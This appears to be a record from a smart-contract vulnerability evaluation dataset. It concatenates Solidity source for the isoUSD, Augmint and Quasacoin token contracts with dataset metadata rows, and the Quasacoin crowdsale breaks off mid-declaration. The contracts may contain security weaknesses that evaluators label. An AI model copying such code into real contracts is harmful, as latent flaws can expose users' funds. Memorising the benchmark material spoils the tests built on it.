event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
// File @openzeppelin/contracts/utils/[emailprotected]
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
}
}
// File @openzeppelin/contracts/utils/introspection/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/utils/introspection/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/access/[emailprotected]
// OpenZeppelin Contracts (last updated v4.7.0) (access/AccessControl.sol)
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role);
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role) internal view virtual {
_checkRole(role, _msgSender());
}
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(string(abi.encodePacked("AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32))));
}
}
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File contracts/RoleControl.sol
contract RoleControl is AccessControl{
// admin address can add after `TIME_DELAY` has passed.
// admin address can also remove minters or pause minting, no time delay needed.
bytes32 constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bytes32 public previous_action_hash = 0x0;
uint256 private immutable TIME_DELAY;
mapping(bytes32 => uint256) public action_queued;
uint256 public actionNonce = 0;
event QueueAddRole(address indexed account, bytes32 indexed role, address indexed suggestedBy, uint256 suggestedTimestamp);
event AddRole(address indexed account, bytes32 indexed role, address indexed addedBy);
event RemoveRole(address indexed account, bytes32 indexed role, address indexed addedBy);
//this is horrid I am sorry, code too big kept occuring for vaults.
function onlyAdminInternal() internal view {
require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not an admin");
}
modifier onlyAdmin{
onlyAdminInternal();
_;
}
constructor(uint256 _timeDelay){
TIME_DELAY = _timeDelay;
}
// @dev adding a new role to an account is a two step process with a time delay
// @dev first call this function then addRole
// @param _account address you wish to be add the role to
// @param _role the predefined role you wish the address to have, hashed by keccak256
// @notice actionNonce increments on each call, therefore only one addRole can be queued at a time
function proposeAddRole(address _account, bytes32 _role) external onlyAdmin{
bytes32 action_hash = keccak256(abi.encode(_account, _role, actionNonce));
previous_action_hash = action_hash;
actionNonce += 1;
action_queued[action_hash] = block.timestamp;
emit QueueAddRole(_account, _role, msg.sender, block.timestamp);
}
// @param _account address that has been queued to become the role
// @param _role the role the account should gain, note that all admins become pausers also.
function addRole(address _account, bytes32 _role) external onlyAdmin{
bytes32 action_hash = keccak256(abi.encode(_account, _role, actionNonce-1));
require(previous_action_hash == action_hash, "Invalid Hash");
require(block.timestamp > action_queued[action_hash] + TIME_DELAY,
"Not enough time has passed");
//overwrite old hash to prevent reuse.
delete previous_action_hash;
//use a hash to verify proposed account is the same as added account.
_setupRole(_role, _account);
emit AddRole(_account, _role, msg.sender);
}
// @param _account address that is already a minter and you wish to remove from this role.
// @notice reverts if address `_account` did not already have the specified role.
function removeRole(address _account, bytes32 _role) external onlyAdmin{
require(hasRole(_role, _account), "Address was not already specified role");
_revokeRole(_role, _account);
emit RemoveRole(_account, _role, msg.sender);
}
}
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
// File contracts/isoUSDToken.sol
// SPDX-License-Identifier: MIT
// Vault_Synths.sol for isomorph.loans
// Bug bounties available
pragma solidity =0.8.9;
uint256 constant ISOUSD_TIME_DELAY = 3 days;
contract isoUSDToken is ERC20, RoleControl(ISOUSD_TIME_DELAY) {
// Role based access control, minters can mint isoUSD
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
// Role based access control, minters can burn isoUSD
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor() ERC20("IsomorphUSD", "isoUSD"){
//we dont want the `DEFAULT_ADMIN_ROLE` to exist as this doesn't require a
// time delay to add/remove any role and so is dangerous.
//So we ignore it and set our weaker admin role.
_setupRole(ADMIN_ROLE, msg.sender);
}
modifier onlyMinter{
require(hasRole(MINTER_ROLE, msg.sender), "Caller is not a minter");
_;
}
modifier onlyBurner{
require(hasRole(BURNER_ROLE, msg.sender), "Caller is not a burner");
_;
}
function burn(address _account, uint256 _amount) external onlyBurner{
_burn(_account, _amount);
}
function mint(uint _amount) external onlyMinter {
_mint(msg.sender, _amount);
}
}
| 154,985 | 13,625 |
73470328f92685aa3b071538bddfc02c8cabf0d4ad6c55904fef39a8c8360c3e
| 21,299 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5c1a44e07541203474d92bdd03f803ea74f6947c.sol
| 4,126 | 17,224 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b, "mul overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "div by 0"); // Solidity automatically throws for div by 0 but require to emit reason
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "sub underflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "add overflow");
return c;
}
function roundedDiv(uint a, uint b) internal pure returns (uint256) {
require(b > 0, "div by 0"); // Solidity automatically throws for div by 0 but require to emit reason
uint256 z = a / b;
if (a % b >= b / 2) {
z++; // no need for safe add b/c it can happen only if we divided the input
}
return z;
}
}
contract Restricted {
// NB: using bytes32 rather than the string type because it's cheaper gas-wise:
mapping (address => mapping (bytes32 => bool)) public permissions;
event PermissionGranted(address indexed agent, bytes32 grantedPermission);
event PermissionRevoked(address indexed agent, bytes32 revokedPermission);
modifier restrict(bytes32 requiredPermission) {
require(permissions[msg.sender][requiredPermission], "msg.sender must have permission");
_;
}
constructor(address permissionGranterContract) public {
require(permissionGranterContract != address(0), "permissionGranterContract must be set");
permissions[permissionGranterContract]["PermissionGranter"] = true;
emit PermissionGranted(permissionGranterContract, "PermissionGranter");
}
function grantPermission(address agent, bytes32 requiredPermission) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
permissions[agent][requiredPermission] = true;
emit PermissionGranted(agent, requiredPermission);
}
function grantMultiplePermissions(address agent, bytes32[] requiredPermissions) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
uint256 length = requiredPermissions.length;
for (uint256 i = 0; i < length; i++) {
grantPermission(agent, requiredPermissions[i]);
}
}
function revokePermission(address agent, bytes32 requiredPermission) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
permissions[agent][requiredPermission] = false;
emit PermissionRevoked(agent, requiredPermission);
}
function revokeMultiplePermissions(address agent, bytes32[] requiredPermissions) public {
uint256 length = requiredPermissions.length;
for (uint256 i = 0; i < length; i++) {
revokePermission(agent, requiredPermissions[i]);
}
}
}
library ECRecovery {
function recover(bytes32 hash, bytes sig)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
// solium-disable-next-line arg-overflow
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
interface ERC20Interface {
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Transfer(address indexed from, address indexed to, uint amount);
function transfer(address to, uint value) external returns (bool); // solhint-disable-line no-simple-event-func-name
function transferFrom(address from, address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function balanceOf(address who) external view returns (uint);
function allowance(address _owner, address _spender) external view returns (uint remaining);
}
interface TokenReceiver {
function transferNotification(address from, uint256 amount, uint data) external;
}
contract AugmintTokenInterface is Restricted, ERC20Interface {
using SafeMath for uint256;
string public name;
string public symbol;
bytes32 public peggedSymbol;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint256) public balances; // Balances for each account
mapping(address => mapping (address => uint256)) public allowed; // allowances added with approve()
address public stabilityBoardProxy;
TransferFeeInterface public feeAccount;
mapping(bytes32 => bool) public delegatedTxHashesUsed; // record txHashes used by delegatedTransfer
event TransferFeesChanged(uint transferFeePt, uint transferFeeMin, uint transferFeeMax);
event Transfer(address indexed from, address indexed to, uint amount);
event AugmintTransfer(address indexed from, address indexed to, uint amount, string narrative, uint fee);
event TokenIssued(uint amount);
event TokenBurned(uint amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address to, uint value) external returns (bool); // solhint-disable-line no-simple-event-func-name
function transferFrom(address from, address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function delegatedTransfer(address from, address to, uint amount, string narrative,
uint maxExecutorFeeInToken,
bytes32 nonce,
bytes signature,
uint requestedExecutorFeeInToken) external;
function delegatedTransferAndNotify(address from, TokenReceiver target, uint amount, uint data,
uint maxExecutorFeeInToken,
bytes32 nonce,
bytes signature,
uint requestedExecutorFeeInToken) external;
function increaseApproval(address spender, uint addedValue) external returns (bool);
function decreaseApproval(address spender, uint subtractedValue) external returns (bool);
function issueTo(address to, uint amount) external; // restrict it to "MonetarySupervisor" in impl.;
function burn(uint amount) external;
function transferAndNotify(TokenReceiver target, uint amount, uint data) external;
function transferWithNarrative(address to, uint256 amount, string narrative) external;
function transferFromWithNarrative(address from, address to, uint256 amount, string narrative) external;
function allowance(address owner, address spender) external view returns (uint256 remaining);
function balanceOf(address who) external view returns (uint);
}
interface TransferFeeInterface {
function calculateTransferFee(address from, address to, uint amount) external view returns (uint256 fee);
}
contract AugmintToken is AugmintTokenInterface {
event FeeAccountChanged(TransferFeeInterface newFeeAccount);
constructor(address permissionGranterContract, string _name, string _symbol, bytes32 _peggedSymbol, uint8 _decimals, TransferFeeInterface _feeAccount)
public Restricted(permissionGranterContract) {
require(_feeAccount != address(0), "feeAccount must be set");
require(bytes(_name).length > 0, "name must be set");
require(bytes(_symbol).length > 0, "symbol must be set");
name = _name;
symbol = _symbol;
peggedSymbol = _peggedSymbol;
decimals = _decimals;
feeAccount = _feeAccount;
}
function transfer(address to, uint256 amount) external returns (bool) {
_transfer(msg.sender, to, amount, "");
return true;
}
function delegatedTransfer(address from, address to, uint amount, string narrative,
uint maxExecutorFeeInToken,
bytes32 nonce,
bytes signature,
uint requestedExecutorFeeInToken)
external {
bytes32 txHash = keccak256(abi.encodePacked(this, from, to, amount, narrative, maxExecutorFeeInToken, nonce));
_checkHashAndTransferExecutorFee(txHash, signature, from, maxExecutorFeeInToken, requestedExecutorFeeInToken);
_transfer(from, to, amount, narrative);
}
function approve(address _spender, uint256 amount) external returns (bool) {
require(_spender != 0x0, "spender must be set");
allowed[msg.sender][_spender] = amount;
emit Approval(msg.sender, _spender, amount);
return true;
}
function increaseApproval(address _spender, uint _addedValue) external returns (bool) {
return _increaseApproval(msg.sender, _spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
_transferFrom(from, to, amount, "");
return true;
}
// Issue tokens. See MonetarySupervisor but as a rule of thumb issueTo is only allowed:
// - on new loan (by trusted Lender contracts)
// - when converting old tokens using MonetarySupervisor
// - strictly to reserve by Stability Board (via MonetarySupervisor)
function issueTo(address to, uint amount) external restrict("MonetarySupervisor") {
balances[to] = balances[to].add(amount);
totalSupply = totalSupply.add(amount);
emit Transfer(0x0, to, amount);
emit AugmintTransfer(0x0, to, amount, "", 0);
}
// Burn tokens. Anyone can burn from its own account. YOLO.
// Used by to burn from Augmint reserve or by Lender contract after loan repayment
function burn(uint amount) external {
require(balances[msg.sender] >= amount, "balance must be >= amount");
balances[msg.sender] = balances[msg.sender].sub(amount);
totalSupply = totalSupply.sub(amount);
emit Transfer(msg.sender, 0x0, amount);
emit AugmintTransfer(msg.sender, 0x0, amount, "", 0);
}
function setFeeAccount(TransferFeeInterface newFeeAccount) external restrict("StabilityBoard") {
feeAccount = newFeeAccount;
emit FeeAccountChanged(newFeeAccount);
}
function transferAndNotify(TokenReceiver target, uint amount, uint data) external {
_transfer(msg.sender, target, amount, "");
target.transferNotification(msg.sender, amount, data);
}
function delegatedTransferAndNotify(address from, TokenReceiver target, uint amount, uint data,
uint maxExecutorFeeInToken,
bytes32 nonce,
bytes signature,
uint requestedExecutorFeeInToken)
external {
bytes32 txHash = keccak256(abi.encodePacked(this, from, target, amount, data, maxExecutorFeeInToken, nonce));
_checkHashAndTransferExecutorFee(txHash, signature, from, maxExecutorFeeInToken, requestedExecutorFeeInToken);
_transfer(from, target, amount, "");
target.transferNotification(from, amount, data);
}
function transferWithNarrative(address to, uint256 amount, string narrative) external {
_transfer(msg.sender, to, amount, narrative);
}
function transferFromWithNarrative(address from, address to, uint256 amount, string narrative) external {
_transferFrom(from, to, amount, narrative);
}
function balanceOf(address _owner) external view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) external view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function _checkHashAndTransferExecutorFee(bytes32 txHash, bytes signature, address signer,
uint maxExecutorFeeInToken, uint requestedExecutorFeeInToken) private {
require(requestedExecutorFeeInToken <= maxExecutorFeeInToken, "requestedExecutorFee must be <= maxExecutorFee");
require(!delegatedTxHashesUsed[txHash], "txHash already used");
delegatedTxHashesUsed[txHash] = true;
address recovered = ECRecovery.recover(ECRecovery.toEthSignedMessageHash(txHash), signature);
require(recovered == signer, "invalid signature");
_transfer(signer, msg.sender, requestedExecutorFeeInToken, "Delegated transfer fee", 0);
}
function _increaseApproval(address _approver, address _spender, uint _addedValue) private returns (bool) {
allowed[_approver][_spender] = allowed[_approver][_spender].add(_addedValue);
emit Approval(_approver, _spender, allowed[_approver][_spender]);
}
function _transferFrom(address from, address to, uint256 amount, string narrative) private {
require(balances[from] >= amount, "balance must >= amount");
require(allowed[from][msg.sender] >= amount, "allowance must be >= amount");
// don't allow 0 transferFrom if no approval:
require(allowed[from][msg.sender] > 0, "allowance must be >= 0 even with 0 amount");
_transfer(from, to, amount, narrative);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
}
function _transfer(address from, address to, uint transferAmount, string narrative) private {
uint fee = feeAccount.calculateTransferFee(from, to, transferAmount);
_transfer(from, to, transferAmount, narrative, fee);
}
function _transfer(address from, address to, uint transferAmount, string narrative, uint fee) private {
require(to != 0x0, "to must be set");
uint amountWithFee = transferAmount.add(fee);
// to emit proper reason instead of failing on from.sub()
require(balances[from] >= amountWithFee, "balance must be >= amount + transfer fee");
if (fee > 0) {
balances[feeAccount] = balances[feeAccount].add(fee);
emit Transfer(from, feeAccount, fee);
}
balances[from] = balances[from].sub(amountWithFee);
balances[to] = balances[to].add(transferAmount);
emit Transfer(from, to, transferAmount);
emit AugmintTransfer(from, to, transferAmount, narrative, fee);
}
}
contract SystemAccount is Restricted {
event WithdrawFromSystemAccount(address tokenAddress, address to, uint tokenAmount, uint weiAmount,
string narrative);
constructor(address permissionGranterContract) public Restricted(permissionGranterContract) {} // solhint-disable-line no-empty-blocks
function withdraw(AugmintToken tokenAddress, address to, uint tokenAmount, uint weiAmount, string narrative)
external restrict("StabilityBoard") {
tokenAddress.transferWithNarrative(to, tokenAmount, narrative);
if (weiAmount > 0) {
to.transfer(weiAmount);
}
emit WithdrawFromSystemAccount(tokenAddress, to, tokenAmount, weiAmount, narrative);
}
}
contract InterestEarnedAccount is SystemAccount {
constructor(address permissionGranterContract) public SystemAccount(permissionGranterContract) {} // solhint-disable-line no-empty-blocks
function transferInterest(AugmintTokenInterface augmintToken, address locker, uint interestAmount)
external restrict("MonetarySupervisor") {
augmintToken.transfer(locker, interestAmount);
}
}
| 181,012 | 13,626 |
c513eed4e0b2326a7d362e33451cbedd465d4141d67ec414df8111df011d254c
| 16,264 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x06ddef90c123b166769c2b4dfdfdf7854a72b036.sol
| 3,679 | 10,613 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicFrozenToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => uint256) unfrozeTimestamp;
// Custom code - checking for on frozen
// @return true if the sending is allowed (not frozen)
function isUnfrozen(address sender) public constant returns (bool) {
if(now > 1530921600)
return true;
else
return unfrozeTimestamp[sender] < now;
}
function frozenTimeOf(address _owner) public constant returns (uint256 balance) {
return unfrozeTimestamp[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// Custom code - checking for frozen state
require(isUnfrozen(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicFrozenToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
// Custom code -
require(isUnfrozen(_from));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract QuasacoinToken is StandardToken, Ownable {
string public name = "Quasacoin";
string public symbol = "QUA";
uint public decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(_to != address(0));
require(_amount > 0);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
uint frozenTime = 0;
if(now < 1530921600) {
// 15.01.18 00:00:00 (1515974400) - 30.03.18 00:00:00 (1522368000)
if(now < 1515974400)
frozenTime = 1522368000;
// c 15.01.18 00:00:00 15.02.18 00:00:00 (1518652800) - 30.05.18 00:00:00 (1527638400)
else if(now < 1518652800)
frozenTime = 1527638400;
// c 15.02.18 00:00:00 26.03.18 00:00:00 (1522022400) - 30.06.18 00:00:00 (1530316800)
else if(now < 1522022400)
frozenTime = 1530316800;
// c 26.03.18 00:00:00 15.04.18 00:00:00 (1523750400) - 01.07.18 00:00:00 (1530403200)
else if(now < 1523750400)
frozenTime = 1530403200;
// c 15.04.18 00:00:00 15.05.18 00:00:00 (1526342400) - 07.07.18 00:00:00 (1530921600)
else if(now < 1526342400)
frozenTime = 1530921600;
// c 15.05.18 00:00:00 15.06.18 00:00:00 (1529020800) - 30.06.18 00:00:00 (1530316800)
else if(now < 1529020800)
frozenTime = 1530316800;
else
// 15.06.18 00:00:00 07.07.18 00:00:00 (1530921600) - 07.07.18 00:00:00 (1530921600)
frozenTime = 1530921600;
unfrozeTimestamp[_to] = frozenTime;
}
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract QuasacoinTokenCrowdsale {
using SafeMath for uint256;
// The token being sold
QuasacoinToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startPreICOTime;
// preICO ICO
uint256 public startICOTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// ownership ICO
address public tokenOwner;
// how many token units a buyer gets per wei
uint256 public ratePreICO;
uint256 public rateICO;
// amount of raised money in wei
uint256 public weiRaisedPreICO;
uint256 public weiRaisedICO;
